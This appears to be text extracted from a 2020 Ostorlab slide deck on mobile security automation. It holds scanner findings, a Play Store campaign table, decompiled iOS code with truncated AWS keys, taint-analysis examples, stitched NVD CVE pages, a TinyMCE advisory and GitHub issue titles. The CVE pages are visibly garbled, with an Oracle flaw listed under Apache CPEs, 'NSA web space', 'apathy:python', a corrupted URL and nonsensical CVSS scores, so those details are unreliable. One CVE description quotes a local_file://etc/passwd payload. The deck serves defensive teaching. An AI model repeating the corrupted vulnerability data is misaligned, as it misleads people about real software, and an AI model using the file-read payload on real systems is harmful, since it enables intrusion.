Ostorlab

Challenges in Mobile Security Automation

Alaeddine MESBAHI
alaeddine.mesbahi@ostorlab.dev
@3asm_

10-11-2020
Ostorlab is a Mobile Application Security & Privacy Scanner
Insecure TLS certificate domain name validation

Description
The application does not perform proper TLS certificate validation which makes it vulnerable to man-in-the-middle attacks.

Recommendation
It is recommended to apply proper TLS certificate validation. Compliant solution depends on actual implementation.

References
- Properly verify server certificate on SSL/TLS (CERT Secure Coding)

Technical Details
Details:
Override of method verify with a trivial method, potentially not performing any validation
Taint is traced from const 1 to result
Taint trace:
```java
at com.unity3d.player.UnityWebRequest1.verify()
```
# Play Store Security Campaign

Table 1: Warning campaigns with associated deadline for remediation.

<table>
<thead>
<tr>
<th>Campaign</th>
<th>Started</th>
<th>Support Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Intent Redirection</td>
<td>5/16/2019</td>
<td></td>
</tr>
<tr>
<td>JavaScript Interface Injection</td>
<td>12/4/2018</td>
<td></td>
</tr>
<tr>
<td>Scheme Hijacking</td>
<td>11/15/2018</td>
<td></td>
</tr>
<tr>
<td>Cross App Scripting</td>
<td>10/30/2018</td>
<td></td>
</tr>
<tr>
<td>File-based Cross-Site Scripting</td>
<td>6/5/2018</td>
<td></td>
</tr>
<tr>
<td>SQL Injection</td>
<td>6/4/2018</td>
<td></td>
</tr>
<tr>
<td>Path Traversal</td>
<td>9/22/2017</td>
<td></td>
</tr>
<tr>
<td>Insecure Hostname Verification</td>
<td>11/29/2016</td>
<td></td>
</tr>
<tr>
<td>Fragment Injection</td>
<td>11/29/2016</td>
<td></td>
</tr>
<tr>
<td>Supersonic Ad SDK</td>
<td>9/28/2016</td>
<td></td>
</tr>
<tr>
<td>Libpng</td>
<td>6/16/2016</td>
<td></td>
</tr>
<tr>
<td>Libjpeg-turbo</td>
<td>6/16/2016</td>
<td></td>
</tr>
<tr>
<td>Vpon Ad SDK</td>
<td>6/16/2016</td>
<td></td>
</tr>
<tr>
<td>Airpush Ad SDK</td>
<td>3/31/2016</td>
<td></td>
</tr>
<tr>
<td>MoPub Ad SDK</td>
<td>3/31/2016</td>
<td></td>
</tr>
<tr>
<td>TrustManager</td>
<td>2/17/2016</td>
<td></td>
</tr>
<tr>
<td>AdMarvel</td>
<td>2/8/2016</td>
<td></td>
</tr>
<tr>
<td>Libsupp (CVE-2015-8540)</td>
<td>2/8/2016</td>
<td></td>
</tr>
<tr>
<td>Apache Cordova (CVE-2015-5256, CVE-2015-1835)</td>
<td>12/14/2015</td>
<td></td>
</tr>
<tr>
<td>Vitamio Ad SDK</td>
<td>12/14/2015</td>
<td></td>
</tr>
<tr>
<td>GnuTLS</td>
<td>10/13/2015</td>
<td></td>
</tr>
<tr>
<td>Webview SSLErrorHandler</td>
<td>7/17/2015</td>
<td></td>
</tr>
<tr>
<td>Vungle Ad SDK</td>
<td>6/29/2015</td>
<td></td>
</tr>
</tbody>
</table>

Source: [https://developer.android.com/google/play/asi](https://developer.android.com/google/play/asi)
Most Apps have a limited Attack Surface
Android and iOS do a GOOD job limiting the OS attack surface compared to desktop OS.
Secrets
Uber Secret Leak

Ransom, Class Suit, fine, and IPO delayed
AWS Secrets

Details:
AWS API Key: AKIA
is detected in Payload: 0
AWS Secret Key: 85yk
is detected in Payload: 0

/* Function Stack Size: 0-28 bytes */

bool applicationDidLoadLaunchingWithoptions:(ID protocol_1, SEL param_2, ID param_3, ID param_4)
{
    undeclared uVar1;
    undeclared uVar2;
    undeclared uVar3;
    undeclared uVar4;
    long long uVar5;
    undeclared uVar6;
    undeclared uVar7;
    undeclared uVar8;
    undeclared uVar9;
    undeclared uVar10;
    ID uVar11;
    long long uVar12;
    uVar1 = _objc_opt_uow(STMAppController);
    uVar2 = _objc_opt_new(STMAppConfig);
    _objc_msgSend(uVar1, "setupConfig"), uVar2);
AWS Secrets

 begin _objc_msgSend(_OBJC_CLASS_$_ZDKCoreLogger, 'setEnabled:', 1);
 _objc_msgSend(&_OBJC_CLASS_$_ZDKCoreLogger, "setLogLevel:", 3);
 uVar6 = _objc_alloc(&_OBJC_CLASS_$_AWSStaticCredentialsProvider);
 uVar6 = _objc_msgSend(uVar6, "initWithAccessKey:secretKey:", &cf_AKIA",
 &cf_B5vXuHgjh
);
 uVar7 = _objc_alloc(&_OBJC_CLASS_$_AWSServiceConfiguration);
 uVar7 = _objc_msgSend(uVar7, "initWithRegion:credentialsProvider:", 5, uVar6);
 _objc_msgSend(&_OBJC_CLASS_$_AWSFirehoseRecorder, 
 "registerFirehoseRecorderWithConfiguration:forKey:", uVar7, 
 &cf_EUWest1FirehoseRecorder);
 _objc_msgSend(&CNLicenseManager, "singleton");
def func(p1, p2):
    z1 = p1
    z2 = p2
    z3 = source()
    z4 = sink(p1)
    return z1, z2, z3, z4
def func(p1, p2):
    z1 = p1.a
    z2 = p2.b
    z3.x = source()
    z4 = sink(p1.c)
    return z1, z2, z3, z4
def func(p1, p2):
    z1 = p1.a
    z2 = p2.b
    z3.x = source()
    z4 = sink(p1.c)
    return z1, z2, z3, z4

def main():
    user_input = input()
    func(1, user_input)
def func(p1, p2):
    z1 = p1.a
    z2 = p2.b
    z3.x = source()
    z4 = sink(p1.c)
    return z1, z2, z3, z4

def main():
    user_input = input()
    func(1, user_input)
Secret Validation

<table>
<thead>
<tr>
<th>Technical Details</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Details:</td>
<td>--</td>
</tr>
<tr>
<td>FCM legacy server key</td>
<td>is detected in Payload w/GoogleService-info.plist.</td>
</tr>
<tr>
<td>Details:</td>
<td>--</td>
</tr>
<tr>
<td>Google OAuth Key</td>
<td>37 apps.googleusercontent.com is detected in Payload w/GoogleService-info.plist.</td>
</tr>
<tr>
<td>Details:</td>
<td>--</td>
</tr>
<tr>
<td>Google Cloud API Key</td>
<td>is detected in Payload w/GoogleService-info.plist.</td>
</tr>
<tr>
<td>Details:</td>
<td>--</td>
</tr>
<tr>
<td>FCM server key</td>
<td>is detected in Payload.</td>
</tr>
<tr>
<td>Details:</td>
<td>--</td>
</tr>
<tr>
<td>FCM legacy server key</td>
<td>is detected in Payload.</td>
</tr>
<tr>
<td>Details:</td>
<td>--</td>
</tr>
<tr>
<td>Google Cloud API Key</td>
<td>is detected in Payload.</td>
</tr>
</tbody>
</table>
## Secret Pinning

<table>
<thead>
<tr>
<th>Restriction type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP referrers</td>
<td>Accept requests from the list of websites that you supply. Below the types, specify one or more referrer web sites. Wildcard characters are acceptable for naming similar web sites. For example, *.google.com accepts all sites ending in google.com, such as <a href="https://developers.google.com">https://developers.google.com</a>.</td>
</tr>
<tr>
<td>IP addresses</td>
<td>Accept requests from the list of web server IP addresses that you supply. Below the types, specify one IPv4 or IPv6 address or a subnet using CIDR notation (e.g. 192.168.0.0/22). If you need to enter another entry, a new box appears after you complete adding the previous entry.</td>
</tr>
<tr>
<td>Android apps</td>
<td>Add your package name and SHA-1 signing-certificate fingerprint to restrict usage to your Android app. Below the types, add the SHA-1 signing-certificate fingerprints and your Android package name from your AndroidManifest.xml file.</td>
</tr>
<tr>
<td>iOS apps</td>
<td>Accept requests from the iOS app with the bundle identifier that you supply. Below the types, select the appropriate iOS bundle identifier from the list.</td>
</tr>
</tbody>
</table>
Secrets

- Detection
  - RegExp
  - Taint Analysis
- Validation by Interaction
Outdated 3rd Party Dependencies
Instagram RCE

Memory Corruption
<table>
<thead>
<tr>
<th>Library/Dependency</th>
<th>Version</th>
<th>Detail</th>
</tr>
</thead>
<tbody>
<tr>
<td>libpng</td>
<td>1.6.35</td>
<td>Found libpng in file lib/x86_64/libstatic-webp.so</td>
</tr>
<tr>
<td>libjpegs</td>
<td>1.5.3</td>
<td>Found libjpeg in file lib/x86_64/libstatic-webp.so</td>
</tr>
<tr>
<td>libjpeg</td>
<td>1.5.3</td>
<td>Found libjpeg in file lib/x86_64/libnative-imagetranscoder.so</td>
</tr>
<tr>
<td>libyoga.so</td>
<td></td>
<td>Found ELF file at lib/x86_64/libyoga.so</td>
</tr>
<tr>
<td>libstatic-webp.so</td>
<td></td>
<td>Found ELF file at lib/x86_64/libstatic-webp.so</td>
</tr>
<tr>
<td>libractnativejni.so</td>
<td></td>
<td>Found ELF file at lib/x86_64/libractnativejni.so</td>
</tr>
</tbody>
</table>
Cordova Advanced HTTP

Cordova / Phonegap plugin for communicating with HTTP servers. Supports iOS, Android and Browser.

This is a fork of Wymsee's Cordova-HTTP plugin.

Advantages over Javascript requests

• SSL / TLS Pinning
• CORS restrictions do not apply
• X.509 client certificate based authentication
• Handling of HTTP code 401 - read more at Issue CB-2415

Updates

Please check CHANGELOG.md for details about updating to a new version.

Installation

The plugin conforms to the Cordova plugin specification, it can be installed using the Cordova / Phonegap command line interface.

```bash
phonegap plugin add cordova-plugin-advanced-http
cordova plugin add cordova-plugin-advanced-http
```

Usage

Plain Cordova

This plugin registers a global object located at: cordova.plugin.http.

With ionic-native wrapper

Check the Ionic docs for how to use this plugin with Ionic-native.

Synchronous Functions
## Security advisories

<table>
<thead>
<tr>
<th>Advisory</th>
<th>Date of advisory</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Improper Verification of Cryptographic Signature jsrsasign</td>
<td>Jun 23rd, 2020</td>
<td>status patched</td>
</tr>
<tr>
<td>Improper Authorization @sap-cloud-sdk/core</td>
<td>Jun 17th, 2020</td>
<td>status patched</td>
</tr>
<tr>
<td>Remote Code Execution next</td>
<td>Jun 9th, 2020</td>
<td>status patched</td>
</tr>
<tr>
<td>Information Exposure apollo-server-lambda</td>
<td>Jun 5th, 2020</td>
<td>status patched</td>
</tr>
<tr>
<td>Information Exposure apollo-server-micro</td>
<td>Jun 5th, 2020</td>
<td>status patched</td>
</tr>
<tr>
<td>Information Exposure apollo-server-koa</td>
<td>Jun 5th, 2020</td>
<td>status patched</td>
</tr>
<tr>
<td>Information Exposure apollo-server-hapi</td>
<td>Jun 5th, 2020</td>
<td>status patched</td>
</tr>
</tbody>
</table>
Security overview

View security details for this repository
See security announcements from this repository

- Security policy
  Suggest how users should report security vulnerabilities for this repository

- Security advisories
  View security advisories for this repository
<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td>HttpRequest.java</td>
<td>Fix #187: setSSLCertMode with &quot;default&quot; throws an error on Android</td>
<td>16 months ago</td>
</tr>
<tr>
<td>OkConnectionFactory.java</td>
<td>refactored to use Singleton instance of ConnectionFactory</td>
<td>2 years ago</td>
</tr>
<tr>
<td>TLSSocketFactory.java</td>
<td>fixes #79</td>
<td>2 years ago</td>
</tr>
</tbody>
</table>
Current Description
OSS Http Request (Apache Cordova Plugin) 6 is affected by: Missing SSL certificate validation. The impact is: certificate spoofing. The component is: use this library when https communication. The attack vector is: certificate spoofing.

Source: MITRE

Severity

<table>
<thead>
<tr>
<th>CVSS Version 3.x</th>
<th>CVSS Version 2.0</th>
</tr>
</thead>
</table>

References to Advisories, Solutions, and Tools
By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

<table>
<thead>
<tr>
<th>Hyperlink</th>
<th>Resource</th>
</tr>
</thead>
</table>

Weakness Enumeration

<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>CWE Name</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-295</td>
<td>Improper Certificate Validation</td>
<td>NIST</td>
</tr>
</tbody>
</table>

Known Affected Software Configurations Switch to CPE 2.2

Configuration 1 (hide)

```
cpe:2.3:a:http_request_project:http_request:6.0;*:;*:;*:;*:;cordova;*:
```

Show Matching CPE(1)
It only gets worse from here ...
**CVE-2020-2530 Detail**

MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

**Current Description**

Vulnerability in the Oracle HTTP Server product of Oracle Fusion Middleware (component: Web Listener). Supported versions that are affected are 11.1.1.9.0, 11.1.3.0.0 and 12.2.1.3.0. Early exploitability vulnerability allows unauthorized attacker with network access via HTTP to compromise Oracle HTTP Server. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle HTTP Server, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle HTTP Server accessible data as well as unauthorized read access to a subset of Oracle HTTP Server accessible data. CVSS 3.0 Base Score 6.1 (Confidentiality and integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/I:L/A:N).

Source: NVD

![View Analysis Description]

**Severity**

**CVSS 3.0 Security and Metrics:**

<table>
<thead>
<tr>
<th>Source</th>
<th>CVSS Version</th>
<th>Score</th>
<th>Vector</th>
</tr>
</thead>
<tbody>
<tr>
<td>NVD</td>
<td>3.0</td>
<td>6.1</td>
<td>CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/I:L/A:N</td>
</tr>
<tr>
<td>Oracle</td>
<td>3.0</td>
<td>6.1</td>
<td>CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/I:L/A:N</td>
</tr>
</tbody>
</table>

**References to Advisories, Solutions, and Tools**

By selecting these links, you will be leaving NVD webpage. We have provided these links to other web sites because they may have information that would be of interest to you. No references should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

<table>
<thead>
<tr>
<th>Hyperlink</th>
<th>Resource</th>
</tr>
</thead>
</table>

**Weakness Enumeration**

**CWE-ID** | **CWE Name** | **Source**
--- | --- | ---
NVD CVE-2020-2530 | Insufficient information | NIST

**Known Affected Software Configurations**

Switch to CPE 2.2

```
Configuration 1

- @cpe:2.3:a:apache:http_server:11.1.1.9.0:*:*:*:*:*:*:*
  - HaNoiNakimori (CPU) :
    - @cpe:2.3:a:apache:http_server:11.1.1.9.0:**

- @cpe:2.3:a:apache:http_server:12.1.3.0.0:*:*:*:*:*:*:*
  - HaNoiNakimori (CPU) :
    - @cpe:2.3:a:apache:http_server:12.1.3.0.0:**

- @cpe:2.3:a:apache:http_server:12.2.1.3.0:*:*:*:*:*:*:*
  - HaNoiNakimori (CPU) :
    - @cpe:2.3:a:apache:http_server:12.2.1.3.0:**
```
CVE-2019-12273 Detail

MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

Current Description

** DISPUTED ** OutSystems Platform 10 through 11 allows ImageResourceDetail.aspx CSRF for content modifications and file uploads. NOTE: The product is self-hosted by the customer, even though it has a *.outsyste**s**senterprise.com domain name.) NOTE: The vendor claims that the independent researcher created the report without any type of validation and that no such vulnerability exists.

Source: MITRE

+ View Analysis Description

Severity

CVSS Version 3.1 | CVSS Version 2.0

CVSS 3.1 Severity and Metrics:

- ** NIST: NVD
- ** Base Score: 6.8 MEDIUM

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

<table>
<thead>
<tr>
<th>Hyperlink</th>
<th>Resource</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cve.cve%E8%B9%92.com/issue/WLB-2019050242">https://cve.cve蹒.com/issue/WLB-2019050242</a></td>
<td>NVD</td>
</tr>
</tbody>
</table>

Weakness Enumeration

<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>CWE Name</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>NIST</td>
</tr>
</tbody>
</table>

Known Affected Software Configurations

Switch to CPE 2.2

Configuration 1

- ** cpe:2.3:a:outsyste**s**s:outsyste**s**s:*:*:*:*:*:*:
- ** cpe:2.3:a:outsyste**s**s:outsyste**s**s:*:*:*:*:*:*:
- ** cpe:2.3:a:outsyste**s**s:outsyste**s**s:*:*:*:*:*:*:

Show Matching CPEs

<table>
<thead>
<tr>
<th>From (including)</th>
<th>To (including)</th>
</tr>
</thead>
<tbody>
<tr>
<td>10</td>
<td>11</td>
</tr>
<tr>
<td>Security Bulletin</td>
<td>Previously announced Affected Releases</td>
</tr>
<tr>
<td>------------------</td>
<td>----------------------------------------</td>
</tr>
<tr>
<td>S2-002</td>
<td>2.0.0 - 2.0.11</td>
</tr>
<tr>
<td>S2-003</td>
<td>2.0.0 - 2.0.11.2</td>
</tr>
<tr>
<td>S2-004</td>
<td>2.0.0 - 2.0.11.2</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>S2-008</td>
<td>2.1.0 - 2.3.1</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>S2-012</td>
<td>Struts Showcase App 2.0.0 - 2.3.13</td>
</tr>
<tr>
<td>S2-013</td>
<td>2.0.0 - 2.3.13</td>
</tr>
<tr>
<td>S2-020</td>
<td>2.0.0 - 2.3.16</td>
</tr>
<tr>
<td>S2-021</td>
<td>2.0.0 - 2.3.16.1</td>
</tr>
<tr>
<td></td>
<td></td>
</tr>
<tr>
<td>S2-022</td>
<td>2.0.0 - 2.3.16.1</td>
</tr>
<tr>
<td>S2-041</td>
<td>2.3.20 - 2.3.28.1</td>
</tr>
<tr>
<td></td>
<td>2.5</td>
</tr>
<tr>
<td>S2-042</td>
<td>2.3.20 - 2.3.30</td>
</tr>
<tr>
<td></td>
<td>2.5 - 2.5.2</td>
</tr>
<tr>
<td>S2-044</td>
<td>2.5 - 2.5.5</td>
</tr>
<tr>
<td>S2-048</td>
<td>Struts Showcase App 2.3.x</td>
</tr>
<tr>
<td>S2-051</td>
<td>2.3.7 - 2.3.33</td>
</tr>
<tr>
<td></td>
<td>2.5 - 2.5.12</td>
</tr>
<tr>
<td>S2-053</td>
<td>2.0.1-2.3.33</td>
</tr>
<tr>
<td></td>
<td>2.5-2.5.10</td>
</tr>
</tbody>
</table>
## Weakness Enumeration

<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>CWE Name</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-20</td>
<td>Improper Input Validation</td>
<td>NIST</td>
</tr>
</tbody>
</table>

## Known Affected Software Configurations

**Configuration 1**

- cpe2.3:a:apache:struts:2.3.7:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.8:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.9:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.10:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.11:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.12:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.13:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.14:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.14.1:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.14.2:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.14.3:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.15:*:*:*:*:*
  - Show Matchline CPE(s)
- cpe2.3:a:apache:struts:2.3.15.1:*:*:*:*:*
  - Show Matchline CPE(s)
This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

Current Description

tinyMCE 4.7.11, 4.7.12 is affected by: CVE-79: Improper Neutralization of Input During Web Page Generation. The impact is: JavaScript code execution. The component is: Media element. The attack vector is: The victim must paste malicious content to media element’s embed tab.

Source: MITRE

Severity

CVSS 3.1 Version 3.1 CVSS Version 2.0

NIST: N/A

Base Score: 4.1 MEDIUM


References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concurs with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on those sites. Please address comments about this page to nvd@nist.gov.

<table>
<thead>
<tr>
<th>Hyperlink</th>
<th>Resource</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/tinymce/tiny-mce/issues/4954">https://github.com/tinymce/tiny-mce/issues/4954</a></td>
<td>Exploit Third Party Advisory</td>
</tr>
</tbody>
</table>

Weakness Enumeration

<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>CWE Name</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>NIST DWF</td>
</tr>
</tbody>
</table>

Known Affected Software Configurations

Switch to CPE 2.2

Configuration 1

- cpe:2.3:attiny.cloud:tinymce:4.7.11/*******/*******/
- Show Matching CPE

- cpe:2.3:attiny.cloud:tinymce:4.7.12/*******/*******/
- Show Matching CPE

Overview

These release notes provide an overview of the changes for TinyMCE 5.2.2, including:

- General bug fixes
- Security fixes
- Accompanying Premium Plugin changes
- Upgrading to the latest version of TinyMCE 5

This is the Tiny Cloud and TinyMCE Enterprise release notes. For information on the latest community version of TinyMCE, see: TinyMCE Changelog.

General bug fixes

TinyMCE 5.2.2 provides fixes for the following bugs:

- Fixed an issue where anchors could not be inserted on empty lines.
- Fixed text decorations (underline, strikethrough) not consistently inheriting the text color.
- Fixed format menu alignment buttons inconsistently applying to images.
- Fixed the floating toolbar drawer height collapsing when the editor is rendered in modal dialogs or floating containers.

Security fixes

TinyMCE 5.2.2 provides fixes for the following security issues:

- Fixed media embed content not processing safely in some cases.
**Impact**

A cross-site scripting (XSS) vulnerability was discovered in the core parser and wassa plugin. The vulnerability allowed arbitrary JavaScript execution when inserting a specially crafted piece of content into the editor via the clipboard or APIs. This impacts all users who are using TinyMCE 4.9.9 or lower and TinyMCE 5.2.1 or lower.

**Patches**

This vulnerability has been patched in TinyMCE 4.9.10 and 5.2.2 by improved HTML parsing and sanitization logic.

**Workarounds**

The workarounds available are:
- disable the media plugin and manually validate CDATA content (see below)
- or
- upgrade to either TinyMCE 4.9.10 or TinyMCE 5.2.2

**Example: Manually strip CDATA elements**

```javascript
setup: function(editor) {
    editor.on('preSuff', function() {
        editor.parser.addRuleFilter('CDATA', function(notes) {
            for (var i = 0; i < notes.length; i++) {
                notes[i] = notes[i].replace(/\s*\[((\S|\[\]]*?)(\W|\[\])*)\s*/g, '');
            }
        });
    });
}
```

**Acknowledgements**

Tiny Technologies would like to thank Michal Bentkowski and Intvesec for discovering these vulnerabilities.

**References**

https://www.tiny.cloud/docs/release-notes/release-note522#securityfixes

**For more information**

If you have any questions or comments about this advisory:
- Open an issue in the TinyMCE repo
- Email us at infosec@tiny.cloud

**References**

- GHSA-c76w-2gw7-g8z9
CVE-2019-20503 Detail

MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

Current Description

usrscp before 2019-12-20 has out-of-bounds reads in sctp_load_addresses_from_init.

Source: MITRE

Severity

CVSS Version 3.x  CVSS Version 2.0

CVSS 3.x Severity and Metrics:


References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn in account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

Weakness Enumeration

<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>CWE Name</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-125</td>
<td>Out-of-bounds Read</td>
<td>NIST</td>
</tr>
</tbody>
</table>

Known Affected Software Configurations

Switch to CPE 2.2

Configuration 1 (hide)

<table>
<thead>
<tr>
<th>cpe2:3.2:usrscp_project:usrscp:<em>:</em>:<em>:</em>:<em>:</em></th>
<th>Up to (excluding)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Show Matched CPE(l)</td>
<td>2019-12-20</td>
</tr>
</tbody>
</table>
CVE-2020-9489 Detail

Current Description
A carefully crafted or corrupt file may trigger a System.exit in Tika's OneNote Parser. Crafted or corrupted files can also cause out of memory errors and/or infinite loops in Tika's ICONSParse, MP3Parser, MP4Parser, SSVSBDATParser, OneNoteParser and ImageParser. Apache Tika users should upgrade to 1.24.1 or later. The vulnerabilities in the MP4Parser were partially fixed by upgrading the com.googlecode.isoparser:1.1.22 dependency to org.tallison.isoparser:1.9.41.2. For unrelated security reasons, we upgraded org.apache.cxf to 3.3.6 as part of the 1.24.1 release.

Source: MITRE
"+View Analysis Description"

Severity

CVSS Version 3.0  CVSS Version 2.0

CVSS 3.0 Severity and Metrics:


References to Advisories, Solutions, and Tools
By selecting these links, you will be leaving NIST webspace. We have provided these links to other web sites because they may have information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on these sites. Please address comments about this page to nvd@nist.gov.

Hyperlink  Resource
https://lists.apache.org/thread.html/04d94377773c6ca3aae6365a450a5acccc54ad694fd5e87f186c1a2442c14%03dev.tika.apache.org%03E  Mailing List

Weakness Enumeration

<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>CWE Name</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-401</td>
<td>Missing Release of Memory after Effective Lifetime</td>
<td>NIST</td>
</tr>
</tbody>
</table>

Known Affected Software Configurations Switch to CPE 2.2

Configuration 1 (Note)

<table>
<thead>
<tr>
<th>CPE 2.3</th>
<th>CPE 2.2</th>
</tr>
</thead>
</table>

Hide Matching CPE (s)
CVE-2019-9948 Detail

MODIFIED

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided.

Current Description

urllib in Python 2.x through 2.7.16 supports the local_file scheme, which makes it easier for remote attackers to bypass protection mechanisms that blacklist file URLs, as demonstrated by triggering a urllib.urlopen('local_file://etc/passwd') call.

Source: MITRE

View Analysis Description

Severity

CVSS Version 3.1  CVSS Version 2.0

CVSS 3.1 Severity and Metrics:

NIST: NVD  Base Score: A.2 CONTROL  Vector: CVSS:3.0/AV/Ai/AC/L/PR/UN/SA/0/UI/CH/N/H/UN

References to Advisories, Solutions, and Tools

By selecting these links, you will be leaving NSA web space. We have provided these links to other web sites because they may have information that would be of interest to you. No references should be drawn on account of either sites being referenced, or not, from this page. There may be other web sites that are more appropriate for your purpose. NSA does not necessarily endorse the views expressed, or concur with the facts presented on these sites. Further, NSA does not endorse any commercial products that may be mentioned on those sites. Please address comments about this page to nvd@nist.gov.

Weakness Enumeration

<table>
<thead>
<tr>
<th>CWE-ID</th>
<th>CWE Name</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-254</td>
<td>TPK: Security Features</td>
<td>NIST</td>
</tr>
</tbody>
</table>

Known Affected Software Configurations Switch to CPE 2.2

Configuration 1

`cpe2.3:apathy:python:*:*:*:*:*:*:*`  
View Metric CPE ID

`cpe2.3:apathy:python*:2.7.16:*:*:*:*:*:*`  
View Metric CPE ID

Configuration 2

`cpe2.3:apathy:openaps*:15.0:*:*:*:*:*:*`  
View Metric CPE ID

Configuration 3

`cpe2.3:apathy:active*:performance_analytics_services:*:*:*:*:*:*`  
View Metric CPE ID
False Positive on cachecontrol-2.12.2.0.jar (FP Report)
2060 opened 3 hours ago by satish-tananu-subramani

Golang Mod Analyzer: Reason for using go mod edit -json
2060 opened yesterday by Pradesh

False Positive on camel-cxf (FP Report)
20678 opened 3 days ago by rajalavva

False Positive on elastic-apm-agent
20678 opened 6 days ago by rajalavva

False Positive on geronimo-health-1.8.2 (FP Report)
20678 opened 8 days ago by tiaposs

Customizing data directory and cveUrl's, execution fails the first two times (FixComm)
20670 opened 9 days ago by teh270

jenkins plugin: question
20669 opened 13 days ago by dhilomhas

vulnerabilityMismatched inconsistent between multiple runs (FP)
20669 opened 15 days ago by RyanMcC

What is the correct syntax for enabling python analyzer on jenkins (Feedback)
20669 opened 16 days ago by aricntnnsae

Reactor dependencies not caught
20662 opened 20 days ago by mbentz89

How do I scan my iOS Swift repository which contains Podfile.lock and Package.resolved files? (question)
20660 opened 21 days ago by SztParDev

jenkins plugin: publishing several reports at once has strange behavior (FP)
20658 opened 23 days ago by aubertaa

False Positive on gradle (FP Report)
20657 opened 24 days ago by trvna cautrg

False Positive on jasperreports:6.8.1.jar (pkg:maven/net.sf.jasperreports/jasperreports@6.8.1) (FP Report)
20652 opened on 25 May by KuzhGi

False Positive on pkg: mavencom.vaadin/vaadin-testbench-core@6.3.0.beta1 (FP Report)
20651 opened on 25 May by ZheSon88

False Positive on pkg: mavenorg.sonatype.nexus.plugins/nexus-restore-helm@1.0.5 (FP Report)
